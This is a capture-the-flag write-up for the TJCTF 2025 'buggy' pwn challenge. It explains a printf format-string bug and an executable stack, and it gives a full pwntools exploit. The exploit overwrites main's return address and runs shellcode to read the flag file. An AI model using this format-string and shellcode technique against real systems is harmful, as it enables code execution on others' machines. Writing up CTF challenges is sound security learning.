TJCTF 2025: pwn/buggy
I HATE bugs in production.
flag is in
/app/flag.txt
Author: thegreenmallard
We’re given a binary and the source code that was used to compile it.
chall.c
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#define DEBUG true
int main(int argc, char **argv) {
char inputBuffer[1024];
unsigned int balance = 50;
setbuf(stdout, NULL);
if (DEBUG) {
printf("%p, %p\n", &inputBuffer, &balance);
}
puts("Welcome to TJ Bank!");
while (true) {
printf("What would you like to do? (view balance|deposit|withdraw|transfer|exit) ");
fgets(inputBuffer, 1024, stdin);
if (strcmp(inputBuffer, "view balance\n") == 0) {
printf("Your balance is $%u\n", balance);
} else if (strcmp(inputBuffer, "deposit\n") == 0) {
printf("Enter amount: ");
fgets(inputBuffer, 1024, stdin);
if (DEBUG) {
printf(inputBuffer);
}
int amount = atoi(inputBuffer);
balance += amount;
printf("$%u added to account\n", amount);
} else if (strcmp(inputBuffer, "withdraw\n") == 0) {
printf("Enter amount: ");
fgets(inputBuffer, 1024, stdin);
if (DEBUG) {
printf(inputBuffer);
}
int amount = atoi(inputBuffer);
if (amount > balance) {
puts("Balance too low to continue. Aborting.");
continue;
}
balance -= amount;
printf("$%u removed from account\n", amount);
} else if (strcmp(inputBuffer, "transfer\n") == 0) {
printf("Enter account number for transfer: ");
fgets(inputBuffer, 1024, stdin);
int accountNumber = atoi(inputBuffer);
printf("Enter amount: ");
fgets(inputBuffer, 1024, stdin);
int amount = atoi(inputBuffer);
if (amount > balance) {
puts("Balance too low to continue. Aborting.");
continue;
}
balance -= amount;
printf("$%u transferred to account number %u\n", amount, accountNumber);
} else if (strcmp(inputBuffer, "exit\n") == 0) {
break;
} else {
puts("Please enter a valid option");
}
}
return 0;
}
Things to notice:
- The challenge program leaks the address of a buffer on the stack we’re free to write into.
printf
is called with that buffer as the first argument.
That second fact gives us an arbitrary write primitive (using the %n
format specifier), which is easily exploitable using pwntools.
Running checksec
on the executable reveals something unusual – the stack’s executable:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
This means if we can jump to somewhere in our buffer, we can trivially run our own code.
Since the buffer is on the stack, we can calculate the location of the return address of main
from its address. Which means we can write to it with our aforementioned arbitrary write.
The plan, then, is to:
- Calculate the location of the return address from the leaked
inputBuffer
address - Use the arbitrary write (
printf
) in the “deposit” or “withdraw” operations to set main’s return address to within the buffer - Put some shellcode to
cat
the flag in the buffer exit
to execute our shellcode
Turns out it’s not too hard to translate that plan into reality with pwntools
:
from pwn import *
context.binary = "./buggy"
r = remote("tjc.tf", 31363)
# Obtain `inputBuffer` address from leak
buf_leak = r.recvline().decode()
buf_addr = int(buf_leak.split(",")[0], 16)
r.recv()
# Calculate the location of the return address
ret_addr_pos = buf_addr + 1048
# Put the printf write at the start and the shellcode at some offset into the inputBuffer
shellcode = asm(shellcraft.cat("/app/flag.txt"))
shellcode_offset = 512
write_part = fmtstr_payload(12, { ret_addr_pos: buf_addr + shellcode_offset })
payload = write_part + b"a"*(shellcode_offset-len(write_part)) + shellcode
# Execute the write
r.sendline(b"deposit")
r.recvuntil(b"Enter amount: ")
r.sendline(payload)
r.recv()
# Return to win!
r.sendline(b"exit")
print(r.recvall())
Flag: tjctf{sys_c4ll3d_l1nux_294835}
Home About Contact